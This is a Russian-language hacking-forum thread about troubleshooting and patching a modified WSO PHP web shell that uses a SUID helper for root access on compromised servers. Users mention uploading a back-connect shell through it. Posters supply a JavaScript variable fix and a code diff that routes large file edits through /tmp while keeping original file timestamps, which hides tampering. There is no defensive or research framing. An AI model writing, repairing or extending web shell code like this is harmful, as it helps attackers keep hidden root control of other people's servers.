беда, подключивает шелл, где мануал найти чтоб обычный заработал через суид?wrapper.php,wso_root.php - в данный момент использую вот это, но тоже закачка например не работает) и т.д.
Я разрабатывал такой в своё время, в публику не выкладывал, только для своих. Но там была фишка в том - что куки ограниченного размера могут быть, и поэтому там надо было целую систему "многокуковой" (типо если не помещается, то надо делить искомое на части....) передачи данных делать...
С самого начала непонятно, закачать или скачать? Если закачать(а так именно и написано) то про какой список имеется ввиду, или про отмеченные - ГДЕ? Но думаю имеется ввиду СКАЧАТЬ, то без упаковки никак.
Подскажите, плиз, этот шелл без привязки СУИДфайла может полноценно работать? Пока не поставил суидник, через это шелл закачал бекконнеткт, хочу переименовать - при нажатии кнопки первый раз перебросило меня в домашнюю директорию шелла. Целевой файл не переименовался. Попробовал в целевом файле изменить код - то же самое, пребрасывает в домашнюю диру, содержимое целевого файла не изменяется. Обычный WSO работает без проблем. UPD То же самое происходит и при привязке суидника. Рутовые файлы вроде бы можно редактить. но при сохранении перебрасывает в домашнюю диру, изменения не сохраняются. 2UPD Посмотрел в адресную строку браузера - офигел: Code: wso2.php?text=User-agent%3A+*%0D%0ADisallow%3A+%2Fadmin_new%2F%0D%0ADisallow%3A+%2Fadmin%2.......... 3UPD Ошибка в яваскрипте. Вместо параметра var p2_ дублировался p1_ Решено.
Решилось что то с : ? Возникает при активном суиднике и редактировании файла больше ~20кБ Если файл меньший - то все ОК. Приходится юзать 2 шелла. Обычный и этот. Этим изменяю права. Обычным - редактирую файло.
блеать не удержался сори,но напиши в сорцах по грамотному тогда,если это задевает(***ню начинаете писать)
WSO 2.5 Modified багнутый какой-то... На пример пытаюсь изменить дату, жму ок - ниче не пишет и переходит в каталог с файлами, смотрю, а дата таже стоит...
Конечно, попробовал изменить дату с wso 2.4 все спокойно меняется Если бы не было прав, то писало бы Fail! а так вообще ничего не пишет, а перекидывает в файловый менеджер и в адресной строке - shell.php?touch=2012-12-01 14:22:54 Изменить имя файла тоже не получается... просто прописывается в адресной строке shell.php?name=измененноеимя.php Пытаюсь изменить содержимое файла - не изменяется в адресной строке - shell.php?text=blablabla
Файлы редактировать через этот шелл не могу. А права есть. И где там ошибка в яваскрипте не знаю... Как выложили так и юзал.
Строки 231 и 232 Code: var p1_ = '" . ((strpos(@$_POST['p1'],"\n")!==false)?'':htmlspecialchars($_POST['p1'],ENT_QUOTES)) ."'; var p1_ = '" . ((strpos(@$_POST['p2'],"\n")!==false)?'':htmlspecialchars($_POST['p2'],ENT_QUOTES)) ."'; поменяй строку 232 на Code: var p2_ = '" . ((strpos(@$_POST['p2'],"\n")!==false)?'':htmlspecialchars($_POST['p2'],ENT_QUOTES)) ."'; var p2_ должно быть ЗЫ Но проблему с редактированием файлов больше 20 кБ так и не решил
Проблема в том, что к suid'нику передается сильно длинный параметр. И запрос выдает "Argument list too long". Решение которое пришло первым в голову (на сколько стабильно работает не знаю): PHP: diff --git a/var/www/orig.php b/var/www/mod.php index eb36bb8..0aebf2c 100644 --- a/var/www/orig.php +++ b/var/www/mod.php @@ -104,6 +104,13 @@ if(get_magic_quotes_gpc()) { if (!empty($_COOKIE[md5($_SERVER['HTTP_HOST']).'sname']) && !empty($_COOKIE[md5($_SERVER['HTTP_HOST']).'spass']) && $_COOKIE[md5($_SERVER['HTTP_HOST']).'sname'] != '' && !defined('suid')) { +if($_POST['p2'] == 'edit' && !empty($_POST['p3'])){ + $tmp_path = '/tmp/'.str_shuffle('0123456789abcdefghijklmnopqrstuvwxyz'); + + file_put_contents($tmp_path, $_POST['p3']) or die('/tmp/ isn\'t writable.'); + + $_POST['p3'] = $tmp_path; +} echo wsoEx($_COOKIE[md5($_SERVER['HTTP_HOST']).'sname'].' '.$_COOKIE[md5($_SERVER['HTTP_HOST']).'spass']. ' "'.$_COOKIE[md5($_SERVER['HTTP_HOST']).'sphp'].' '.$_SERVER['SCRIPT_FILENAME'].' \''.addslashes($_COOKIE[md5($_SERVER['HTTP_HOST'])]).'\' '.'\''.base64_encode(serialize($GLOBALS)).'\'"'); @@ -963,13 +970,14 @@ function actionFilesTools() { echo 'File isn\'t writeable'; break; } + if( !empty($_POST['p3']) ) { $time = @filemtime($_POST['p1']); - $_POST['p3'] = substr($_POST['p3'],1); $fp = @fopen($_POST['p1'],"w"); if($fp) { - @fwrite($fp,$_POST['p3']); + @fwrite($fp,substr((defined('suid') ? file_get_contents($_POST['p3']) : $_POST['p3']),1)); @fclose($fp); + if(defined('suid')) @unlink($_POST['p3']); echo 'Saved!<br><script>p3_="";</script>'; @touch($_POST['p1'],$time,$time); } https://gist.github.com/c52be259912a3123b2f1 Естественно нужны права на запись в /tmp/, можно было и иначе, просто переносить из /tmp/ используя mv, но делать лень. Еще как вариант можно разделять запросы на части, но это будет сильно затратно в плане выделения памяти.